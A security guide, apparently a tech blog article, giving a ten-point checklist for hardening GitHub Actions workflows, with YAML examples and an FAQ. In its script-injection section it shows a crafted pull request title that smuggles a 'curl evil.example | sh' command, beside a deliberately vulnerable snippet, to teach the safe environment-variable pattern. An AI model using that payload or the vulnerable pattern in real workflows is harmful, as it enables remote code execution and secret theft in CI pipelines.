Harden GitHub Actions workflows: a 10-point security checklist
CI workflows hold your deploy keys and tokens. This checklist covers SHA pinning, least-privilege GITHUB_TOKEN, script injection, pull_request_target and OIDC.
Updated 8 min read

In this article
To harden a GitHub Actions workflow, pin every third-party action to a full commit SHA, give the GITHUB_TOKEN read-only permissions by default, never interpolate untrusted event data into shell scripts, and replace long-lived cloud secrets with OpenID Connect. Those four changes close the routes used in the most damaging CI compromises of the last two years, and none of them slows your builds down.
This checklist expands those points into ten concrete steps, with YAML you can copy. Every rule comes from GitHub's own "Secure use reference" and workflow syntax documentation, checked in October 2026.
Why CI is now a favourite target
A workflow runs third-party code with access to your source, your secrets and often your production credentials. In March 2025 the popular tj-actions/changed-files action was compromised (CVE-2025-30066). According to CISA's alert, affected versions were in use between 12 and 15 March 2025, and the malicious code could disclose secrets including access keys, GitHub personal access tokens, npm tokens and private RSA keys, printed into build logs. CISA linked it to a separate compromise of reviewdog/action-setup@v1 (CVE-2025-30154) days earlier.
Repositories that referenced the action by a mutable tag such as @v45 pulled the malicious code automatically. Repositories pinned to an older full commit SHA did not. That one difference is why the first item on this list matters most.
The checklist at a glance
| # | Control | What it stops |
|---|---|---|
| 1 | Pin actions to full-length commit SHAs | A moved or hijacked tag running new code in your pipeline |
| 2 | Enforce SHA pinning with a policy | New workflows quietly reintroducing tag references |
| 3 | Set permissions explicitly, read-only by default | A compromised step pushing code or editing releases |
| 4 | Pass untrusted input through environment variables | Script injection from pull request titles, branch names and comments |
| 5 | Avoid pull_request_target with untrusted checkouts | Fork pull requests running with secrets and a write token |
| 6 | Use OIDC instead of stored cloud keys | Long-lived credentials leaking from secrets |
| 7 | Turn off persist-credentials when not needed | Later steps reusing the checkout token |
| 8 | Protect .github/workflows with CODEOWNERS | Unreviewed workflow changes |
| 9 | Keep actions updated automatically | Pinned versions going stale and missing fixes |
| 10 | Keep self-hosted runners away from public repositories | Strangers running code on your machines |
1. Pin every action to a full-length commit SHA
GitHub's documentation is blunt: "Pinning an action to a full-length commit SHA is currently the only way to use an action as an immutable release." A tag "can be moved or deleted if a bad actor gains access to the repository storing the action." Keep the human-readable version as a comment so reviewers and update tools can see what the SHA represents.
steps:
# Mutable: whoever controls the tag controls your build
- uses: actions/checkout@v7
# Immutable: this exact commit, and nothing else
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1Look up the SHA yourself rather than copying it from a blog post, including this one: git ls-remote --tags https://github.com/actions/checkout lists every tag with its commit. Pin first-party actions/* actions too; it costs nothing and keeps the rule simple.
2. Enforce pinning with an Actions policy
A convention is only as strong as your next pull request. Since August 2025 the "allowed actions and reusable workflows" policy can require SHA pinning: when the setting is on, a workflow that uses an action not pinned to a full commit SHA fails. The same policy supports a blocklist, where an entry prefixed with ! blocks a specific action or version, which is useful the day an action you depend on is reported as compromised. GitHub documents the policy at both repository and organisation level.
3. Give GITHUB_TOKEN the minimum permissions
Every job receives a GITHUB_TOKEN. Set its permissions in the workflow file instead of relying on repository defaults that someone may have changed. The workflow syntax reference states that "if you specify the access for any of these permissions, all of those that are not specified are set to none", so one line gives you a read-only baseline:
permissions:
contents: read
jobs:
label:
runs-on: ubuntu-latest
permissions:
contents: read
pull-requests: write # only this job may comment or label
steps:
- run: echo "label the pull request here"Use permissions: {} for jobs that need no token access at all. Avoid write-all; if a workflow needs it, that is a sign the job is doing too much.
4. Never interpolate untrusted input into scripts
Expressions like ${{ github.event.pull_request.title }} are expanded before the shell runs, so a pull request titled a"; curl evil.example | sh; echo " becomes part of your script. Branch names, issue bodies, commit messages and review comments are all attacker-controlled.
# Vulnerable: the title is pasted into the script text
- name: Check PR title
run: |
title="${{ github.event.pull_request.title }}"
if [[ $title =~ ^feat ]]; then echo "feature"; fi
# Safe: the title arrives as data in an environment variable
- name: Check PR title
env:
TITLE: ${{ github.event.pull_request.title }}
run: |
if [[ "$TITLE" =~ ^feat ]]; then echo "feature"; fiGitHub explains why the second form works: the value is "stored in memory and used as a variable, and doesn't interact with the script generation process." Always quote the variable in the shell as well.

5. Treat pull_request_target as dangerous
The pull_request_target trigger runs in the context of the base repository, so it can read secrets, and the workflow syntax reference notes its GITHUB_TOKEN "is granted read/write repository permission, even when it is triggered from a public fork." GitHub's guidance is to avoid the trigger if it is not necessary, and that workflows using it "must not explicitly check out untrusted code, including from pull request forks". If you only need to build and test fork contributions, the ordinary pull_request trigger is the right choice: forks get a read-only token and no secrets.
6. Replace stored cloud keys with OIDC
A deploy job that reads AWS_SECRET_ACCESS_KEY from secrets holds a credential that works from anywhere until someone rotates it. With OpenID Connect, the job requests a short-lived token from your cloud provider at run time, which, in GitHub's words, lets you "stop storing these credentials as long-lived secrets". The job needs the id-token: write permission, and the trust policy on the cloud side should be scoped to your repository and, ideally, a protected branch or environment.
jobs:
deploy:
runs-on: ubuntu-latest
environment: production
permissions:
contents: read
id-token: write # allow this job to request an OIDC token
steps:
- run: echo "use your cloud provider's official login action here"7. Do not leave the checkout token lying around
actions/checkout writes credentials so later git commands can authenticate; its persist-credentials input defaults to true. From v6 the credentials are stored in a separate file under $RUNNER_TEMP instead of directly in .git/config, and they are removed in post-job cleanup, but they remain available to every later step in the job. If nothing after checkout needs to push, turn it off:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false8. Require review for workflow changes
Add the workflows directory to CODEOWNERS so that, as GitHub puts it, "any proposed changes to these files will first require approval from a designated reviewer." Combine it with a branch rule that requires code owner review on your default branch.
# .github/CODEOWNERS
/.github/workflows/ @your-org/platform9. Keep pinned actions up to date
Pinning trades automatic updates for safety, so you need a tool that proposes updates as reviewable pull requests. Dependabot supports the github-actions ecosystem:
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: "github-actions"
directory: "/"
schedule:
interval: "weekly"Review these pull requests like any dependency change: read the release notes and the diff between the old and new commit for actions with broad access.
10. Keep self-hosted runners off public repositories
GitHub's guidance is that "self-hosted runners should almost never be used for public repositories", because anyone can open a pull request and run code on the machine. If you need self-hosted capacity, use it for private repositories, prefer ephemeral runners that are destroyed after each job, and keep them on a network segment without access to internal systems.

A hardened workflow, put together
name: CI
on:
pull_request:
push:
branches: [main]
permissions:
contents: read
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}
cancel-in-progress: true
jobs:
test:
runs-on: ubuntu-latest
timeout-minutes: 15
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
- uses: actions/setup-node@949feb2413d6458794dcd2491c4babbbce0c15c1 # v7.1.0
with:
node-version: 24
- run: npm ci
- run: npm testThe concurrency block cancels superseded runs on the same branch, and timeout-minutes stops a hung or hijacked job from running for the default six hours.
Gotchas
- Secrets in logs. GitHub masks registered secrets, but values you derive from them are not masked automatically. Use
::add-mask::VALUEfor sensitive values that are not secrets. - Composite and reusable workflows. Pinning your top-level
uses:lines does not pin the actions those dependencies call internally. Prefer actions whose own references are pinned, and review what a new action pulls in. - Dependabot runs. Workflows triggered by Dependabot pull requests get a read-only token and no access to Actions secrets, so do not "fix" a failing Dependabot build by switching it to
pull_request_target. - After an incident, rotate every secret the affected workflow could read, not only the one you think leaked.
What to do next
Start with an audit: search your organisation for uses: lines without a 40-character SHA, workflows without a top-level permissions block, and any use of pull_request_target. Fix those three, then enable the SHA pinning policy so the fixes stay fixed. Moving deployments to OIDC and protecting workflows with CODEOWNERS can follow in the next sprint.
Frequently asked questions
Is pinning to a version tag like @v7 good enough?
No. GitHub states that pinning to a full-length commit SHA is currently the only way to use an action as an immutable release. Tags can be moved or deleted by anyone who gains write access to the action's repository.
Should I pin GitHub's own actions such as actions/checkout?
Yes. It costs nothing, keeps the rule simple, and lets you turn on the SHA pinning policy without exceptions, because the policy checks every action reference.
What permissions does GITHUB_TOKEN get if I set only contents: read?
Only that. When you specify any permission, every permission you do not list is set to
none. Add write permissions to the individual jobs that need them.Can workflows from forked pull requests read my secrets?
With the ordinary
pull_requesttrigger, workflows from forks receive a read-only token and no secrets. Thepull_request_targettrigger is different: it runs with the base repository's context, so never check out and run fork code in it.Does OIDC remove the need for secrets entirely?
It removes the need for long-lived cloud credentials. You still configure a trust relationship with your cloud provider, and you may still need secrets for services that do not support OIDC.
How do I find the commit SHA for an action release?
Run
git ls-remote --tags https://github.com/OWNER/ACTIONor open the release on GitHub and copy the full commit hash. Verify it against the official repository, not a third-party page.
Your next customer could start right here.
Introduce your tool, product or business to readers exploring technology.
Explore placements and request a private quote
Sources
- Secure use reference — GitHub Docs
- Workflow syntax for GitHub Actions — GitHub Docs
- GitHub Actions policy now supports blocking and SHA pinning actions — GitHub Changelog, 2025-08-15
- Supply Chain Compromise of Third-Party tj-actions/changed-files (CVE-2025-30066) and reviewdog/action-setup@v1 (CVE-2025-30154) — CISA, 2025-03-18
- Keeping your actions up to date with Dependabot — GitHub Docs
- actions/checkout README — GitHub
Written with substantial AI assistance. Facts checked against cited sources. Editorial policy.
Comments
No comments yet. Be the first to join the conversation.
Leave a comment
Every comment is read by a moderator before it appears. Your email address is never published; it is used only to contact you about this comment.
More from Cloudsoft Zone

Resource guideWordPress
WordPress security hardening checklist for 2026 (WordPress 7.1)
A practical WordPress 7.1 hardening checklist based on the official handbook: updates, two-step logins, wp-config.php constants, file permissions, database privileges, firewalls, WP-CLI checksum checks and tested backups.
By Cloudsoft Zone

Troubleshooting guideCodeIgniter
CodeIgniter 4 validation not working? 9 causes and fixes
Fix CodeIgniter 4 validation problems fast: wrong input source, lost errors after redirect, permit_empty, strict JSON rules, is_unique placeholders and more.
By Cloudsoft Zone

Interview preparationInterview questions
Docker interview questions and answers for Docker Engine 29
18 Docker interview questions from images and volumes to build cache, Compose, networking, signals and the containerd image store, with short model answers.
By Cloudsoft Zone
